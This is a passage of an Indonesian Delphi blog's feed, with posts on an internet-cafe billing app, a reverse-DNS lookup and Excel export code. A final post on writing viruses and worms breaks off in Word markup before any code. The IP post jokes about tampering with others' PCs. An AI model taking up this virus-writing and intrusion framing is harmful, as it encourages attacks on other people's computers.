class="Apple-style-span"  style="color:#FFFFFF;"&gt; yang digunakan untuk mencatat hal-hal penting.&lt;/span&gt;&lt;/li&gt;&lt;li style="text-align: justify;"&gt;&lt;strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;Report feature&lt;/span&gt;&lt;/strong&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p style="text-align: justify;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 15px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;Versi biling ini adalah 1.5 Updated, untuk versi dibawahnya hilang entah kemana. Sekali lagi program delphi ini adalah program pribadi, lebih kepada experimen dan kepuasan pribadi. Jadi jangan ditertawakan atas kejelekan dan kekurangan contoh program delphi ini.&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 15px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;&lt;strong&gt;&lt;a href="http://foxy.filecows.net/download/UJULuw0ogyjyfRwHdoQY/bin-biling.zip.html" style="text-decoration: underline; "&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;Download contoh program aplikasi delphi billing warnet&lt;/span&gt;&lt;/a&gt;&lt;/strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;(Binary)&lt;/span&gt;&lt;/div&gt;&lt;strong&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal; "&gt;&lt;strong&gt;&lt;a href="http://foxy.filecows.net/download/5GiOVNOFTSjjH326dZZS/source-code-biling.zip.html" style="text-decoration: underline; "&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;Download contoh program aplikasi delphi billing warnet&lt;/span&gt;&lt;/a&gt;&lt;/strong&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;(Source Code)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/strong&gt;&lt;p&gt;&lt;/p&gt;&lt;p style="text-align: justify;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 15px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;span class="Apple-style-span"  style="color:#FFFFFF;"&gt;PS: sebagai catatan, biling warnet ditulis dengan delphi 7, kemungkinan besar bisa dibuka dengan menggunakan delphi 5 atau 6 tetapi saya belum mencobanya. Billing ini menggunakan skin atau komponen tambahan yang perlu diinstall pada delphi. Nama komponen skinnya adalah Sui Skin, silahkan cari di internet. Jadi sebelum membuka source code program delphi ini, pastikan dulu anda sudah menginstall suiskin.&lt;/span&gt;&lt;/p&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-360465192582529411?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/360465192582529411/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=360465192582529411' title='4 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/360465192582529411'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/360465192582529411'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2010/09/contoh-aplikasi-billing-warnet.html' title='Contoh Aplikasi Billing Warnet'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-2119051722366564640</id><published>2010-08-18T17:51:00.002+07:00</published><updated>2010-08-18T18:02:00.864+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips n Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Sorce'/><category scheme='http://www.blogger.com/atom/ns#' term='Info'/><title type='text'>Mendapatkan IP Addres dari URL yang diberikan</title><content type='html'>Nah kawan, sekarang aku mau share dikit tenang delphi..&lt;br /&gt;Kali ini aku mau buat aplikasi yang bisa memberitahukan kita IP seseorang, kan kalo udah tau IP seseorang kita bisa maen-maen dengan PC-nya.. hehehe&lt;br /&gt;&lt;br /&gt;Langsung aja y.&lt;br /&gt;&lt;br /&gt;uses &lt;br /&gt;  Winsock; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;function IAddrToHostName(const IP: string): string; &lt;br /&gt;var &lt;br /&gt;  i: Integer; &lt;br /&gt;  p: PHostEnt; &lt;br /&gt;begin &lt;br /&gt;  Result := ''; &lt;br /&gt;  i      := inet_addr(PChar(IP)); &lt;br /&gt;  if i &lt;&gt; u_long(INADDR_NONE) then &lt;br /&gt;  begin &lt;br /&gt;    p := GetHostByAddr(@i, SizeOf(Integer), PF_INET); &lt;br /&gt;    if p &lt;&gt; nil then Result := p^.h_name; &lt;br /&gt;  end &lt;br /&gt;  else &lt;br /&gt;    Result := 'Invalid IP address'; &lt;br /&gt;end;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-2119051722366564640?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/2119051722366564640/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=2119051722366564640' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/2119051722366564640'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/2119051722366564640'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2010/08/mendapatkan-ip-addres-dari-url-yang.html' title='Mendapatkan IP Addres dari URL yang diberikan'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-8527013023124366543</id><published>2010-08-05T22:55:00.003+07:00</published><updated>2010-08-05T22:59:30.885+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips n Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Sorce'/><title type='text'>Eksport Data Bag. II</title><content type='html'>Nah untuk bagian ke-2 ini saya akan menuliskan listing program uintuk meng-eksport data dari DBGrid ke Excel, jadi diharapkan aplikasi yang kawan buat hasil proses maupun output yang akan di cetak bisa di cetak kedalam excel..&lt;br /&gt;&lt;br /&gt;Dan ini adalah listing nya..&lt;br /&gt;&lt;br /&gt;unit Unit1;&lt;br /&gt;&lt;br /&gt;interface&lt;br /&gt;&lt;br /&gt;uses&lt;br /&gt;Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,&lt;br /&gt;Dialogs,comobj, StdCtrls, DB, DBTables, Grids, DBGrids;&lt;br /&gt;&lt;br /&gt;type&lt;br /&gt;TForm1 = class(TForm)&lt;br /&gt;DataSource1: TDataSource;&lt;br /&gt;DBGrid1: TDBGrid;&lt;br /&gt;Table1: TTable;&lt;br /&gt;Excel: TButton;&lt;br /&gt;procedure ExcelClick(Sender: TObject);&lt;br /&gt;private&lt;br /&gt;{ Private declarations }&lt;br /&gt;XlApp, XlBook, XlSheet, XlSheets, Range,chat : Variant; // Excel 97&lt;br /&gt;WApp, Word : Variant; // Word 97&lt;br /&gt;&lt;br /&gt;public&lt;br /&gt;{ Public declarations }&lt;br /&gt;end;&lt;br /&gt;&lt;br /&gt;var&lt;br /&gt;Form1: TForm1;&lt;br /&gt;&lt;br /&gt;implementation&lt;br /&gt;&lt;br /&gt;{$R *.dfm}&lt;br /&gt;&lt;br /&gt;procedure TForm1.ExcelClick(Sender: TObject);&lt;br /&gt;var i,x:integer;&lt;br /&gt;&lt;br /&gt;Sfile:string;&lt;br /&gt;begin&lt;br /&gt;// buka excel&lt;br /&gt;XlApp := CreateOleObject('Excel.Application');&lt;br /&gt;// tambahkan workbook&lt;br /&gt;XlBook := XlApp.WorkBooks.Add;&lt;br /&gt;// tambahkan worksheet&lt;br /&gt;XlSheet := XlBook.worksheets.add;&lt;br /&gt;//cetak header field dari dbgrid&lt;br /&gt;for i:=0 to dbgrid1.FieldCount-1 do&lt;br /&gt;begin&lt;br /&gt;XlSheet.cells[2,i+1].value:=dbgrid1.columns[i].Title.Caption;&lt;br /&gt;end;&lt;br /&gt;// transfer data ke excel&lt;br /&gt;table1.First;&lt;br /&gt;x:=1;&lt;br /&gt;while not table1.Eof do&lt;br /&gt;begin&lt;br /&gt;for i:=0 to dbgrid1.FieldCount-1 do&lt;br /&gt;begin&lt;br /&gt;XlSheet.cells[2+x,i+1].value:=dbgrid1.Fields[i].Text;&lt;br /&gt;end;&lt;br /&gt;table1.Next;&lt;br /&gt;inc(x);&lt;br /&gt;end;&lt;br /&gt;&lt;br /&gt;//menampilkan aplikasi //XlApp.visible:=true;&lt;br /&gt;&lt;br /&gt;//script dibawah ini untuk dialog disimpan atau ditampilkan &lt;br /&gt;&lt;br /&gt;  if MessageDlg('Apakah hasil export ditampilkan..?', mtConfirmation, [mbYes, mbNo], 0) = mrYes then&lt;br /&gt;  begin&lt;br /&gt;    MessageDlg('Hasil Ditampilkan', mtInformation,&lt;br /&gt;      [mbOk], 0);&lt;br /&gt;       XlApp.visible:=true;&lt;br /&gt;  end&lt;br /&gt;  else&lt;br /&gt;  //simpan ke file&lt;br /&gt;  begin&lt;br /&gt;    Sfile:= InputBox('Nama File', 'hasil export', 'c:\hasil.xls');&lt;br /&gt;    XlApp.ActiveWorkbook.SaveAs(sfile);&lt;br /&gt;    XlApp.visible:=true;&lt;br /&gt;  end&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;end;&lt;br /&gt;&lt;br /&gt;end.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Simpel kan....?? Selamat mencoba..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-8527013023124366543?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/8527013023124366543/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=8527013023124366543' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/8527013023124366543'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/8527013023124366543'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2010/08/eksport-data-bag-ii.html' title='Eksport Data Bag. II'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-7066702466620863450</id><published>2010-08-05T22:50:00.002+07:00</published><updated>2010-08-05T22:55:19.977+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips n Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Sorce'/><title type='text'>Eksport Data Bag. I</title><content type='html'>Ok kawan,,untuk materi sekarang saya akan mencoba menjabarkan listing program untuk meng-eksport data dari komponen listview ke dalam excel..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;uses&lt;/span&gt;&lt;br /&gt;  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,&lt;br /&gt;  Dialogs, StdCtrls, ComCtrls,ComObj;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;procedure TForm1.Button2Click(Sender: TObject);&lt;br /&gt;var&lt;br /&gt; xlapp, xlbook,XlSheet: OLEVariant;&lt;br /&gt; baris,kolom,x,y:integer;&lt;br /&gt;begin&lt;br /&gt; xlapp := CreateOLEObject('Excel.Application');&lt;br /&gt; xlbook := xlapp.Workbooks.Add;&lt;br /&gt; XlSheet  := XlBook.worksheets.add;&lt;br /&gt; xlapp.Visible := True;&lt;br /&gt; baris:=ListView1.Items.Count;&lt;br /&gt; kolom:=3;  // jumlah kolom listview&lt;br /&gt;&lt;br /&gt; {Cetak judul kolom}&lt;br /&gt; for x:=1 to 3 do&lt;br /&gt;  XlSheet.Cells[1,x].value:= ListView1.Columns[x-1].Caption;&lt;br /&gt;&lt;br /&gt; for y:=0 to baris-1 do&lt;br /&gt; for x:=1 to kolom do&lt;br /&gt; begin&lt;br /&gt;   begin&lt;br /&gt;    if x=1 then&lt;br /&gt;     {cetak kolom pertama}&lt;br /&gt;      XlSheet.Cells[y+2,x].value := ListView1.Items.Item[y].Caption&lt;br /&gt;    else&lt;br /&gt;    {cetak kolom kedua dan seterusnya}&lt;br /&gt;     XlSheet.Cells[y+2,x].value := ListView1.Items.Item[y].SubItems[x-2];&lt;br /&gt;   end;&lt;br /&gt; end;&lt;br /&gt;&lt;br /&gt;end;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-7066702466620863450?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/7066702466620863450/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=7066702466620863450' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/7066702466620863450'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/7066702466620863450'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2010/08/eksport-data-bag-i.html' title='Eksport Data Bag. I'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-287264135548427041</id><published>2010-02-02T21:58:00.003+07:00</published><updated>2010-02-02T22:07:54.045+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Open Sorce'/><category scheme='http://www.blogger.com/atom/ns#' term='Info'/><title type='text'>Membuat Virus / Worm dengan Delphi</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_E7ld_61SOLw/S2g_jgveZlI/AAAAAAAAAIU/dtkSuYWVuz0/s1600-h/images.jpeg"&gt;&lt;img style="float: left; margin: 0pt 10px 10px 0pt; cursor: pointer; width: 115px; height: 115px;" src="http://3.bp.blogspot.com/_E7ld_61SOLw/S2g_jgveZlI/AAAAAAAAAIU/dtkSuYWVuz0/s400/images.jpeg" alt="" id="BLOGGER_PHOTO_ID_5433662829739533906" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Menyambung posting sebelumnya,,, klo diantara teman-teman ada yang mau mencoba membuat virusnya coba baca artikel ini.&lt;br /&gt;&lt;br /&gt;Delphi tidak bisa untuk membuat virus? well, itu asumsi salah, karena  delphi adalah bahasa pemrograman sebagaimana visual basic, yang sering  digunakan oleh pembuat virus.&lt;br /&gt;&lt;br /&gt;Apakah delphi cocok digunakan untuk membuat virus? well, saya kira,  jika ukuran virus menjadi isu utama, mungkin visual basic lebih cocok,  karena memproduksi file executable lebih kecil. Jika daya hidup virus  lebih utama saya pikir delphi lebih cocok untuk membuat virus, walau  Anda tidak dapat menggunakan teknik pemrograman biasa jika hendak  membuat virus.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;" class="post-body entry-content"&gt;&lt;link rel="File-List" href="file:///C:%5CDOCUME%7E1%5CSTAIAL%7E1%5CLOCALS%7E1%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_filelist.xml"&gt;&lt;link rel="themeData" href="file:///C:%5CDOCUME%7E1%5CSTAIAL%7E1%5CLOCALS%7E1%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_themedata.thmx"&gt;&lt;link rel="colorSchemeMapping" href="file:///C:%5CDOCUME%7E1%5CSTAIAL%7E1%5CLOCALS%7E1%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_colorschememapping.xml"&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:trackmoves/&gt;   &lt;w:trackformatting/&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:donotpromoteqf/&gt;   &lt;w:lidthemeother&gt;EN-US&lt;/w:LidThemeOther&gt;   &lt;w:lidthemeasian&gt;X-NONE&lt;/w:LidThemeAsian&gt;   &lt;w:lidthemecomplexscript&gt;AR-SA&lt;/w:LidThemeComplexScript&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:splitpgbreakandparamark/&gt;    &lt;w:dontvertaligncellwithsp/&gt;    &lt;w:dontbreakconstrainedforcedtables/&gt;    &lt;w:dontvertalignintxbx/&gt;    &lt;w:word11kerningpairs/&gt;    &lt;w:cachedcolbalance/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;   &lt;m:mathpr&gt;    &lt;m:mathfont val="Cambria Math"&gt;    &lt;m:brkbin val="before"&gt;    &lt;m:brkbinsub val=""&gt;     &lt;m:smallfrac val="off"&gt;    &lt;m:dispdef&gt;    &lt;m:lmargin val="0"&gt;    &lt;m:rmargin val="0"&gt;    &lt;m:defjc val="centerGroup"&gt;    &lt;m:wrapindent val="1440"&gt;     &lt;m:intlim val="subSup"&gt;    &lt;m:narylim val="undOvr"&gt;   &lt;/m:narylim&gt;&lt;/m:intlim&gt;  &lt;/m:wrapindent&gt;&lt;!--[endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" defunhidewhenused="true" defsemihidden="true" defqformat="false" defpriority="99" latentstylecount="267"&gt;   &lt;w:lsdexception locked="false" priority="0" semihidden="false" unhidewhenused="false" qformat="true" name="Normal"&gt;   &lt;w:lsdexception locked="false" priority="9" semihidden="false" unhidewhenused="false" qformat="true" name="heading 1"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 2"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 3"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 4"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 5"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 6"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 7"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 8"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 9"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 1"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 2"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 3"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 4"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 5"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 6"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 7"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 8"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 9"&gt;   &lt;w:lsdexception locked="false" priority="35" qformat="true" name="caption"&gt;   &lt;w:lsdexception locked="false" priority="10" semihidden="false" unhidewhenused="false" qformat="true" name="Title"&gt;   &lt;w:lsdexception locked="false" priority="1" name="Default Paragraph Font"&gt;   &lt;w:lsdexception locked="false" priority="11" semihidden="false" unhidewhenused="false" qformat="true" name="Subtitle"&gt;   &lt;w:lsdexception locked="false" priority="22" semihidden="false" unhidewhenused="false" qformat="true" name="Strong"&gt;   &lt;w:lsdexception locked="false" priority="20" semihidden="false" unhidewhenused="false" qformat="true" name="Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="59" semihidden="false" unhidewhenused="false" name="Table Grid"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Placeholder Text"&gt;   &lt;w:lsdexception locked="false" priority="1" semihidden="false" unhidewhenused="false" qformat="true" name="No Spacing"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Revision"&gt;   &lt;w:lsdexception locked="false" priority="34" semihidden="false" unhidewhenused="false" qformat="true" name="List Paragraph"&gt;   &lt;w:lsdexception locked="false" priority="29" semihidden="false" unhidewhenused="false" qformat="true" name="Quote"&gt;   &lt;w:lsdexception locked="false" priority="30" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Quote"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" 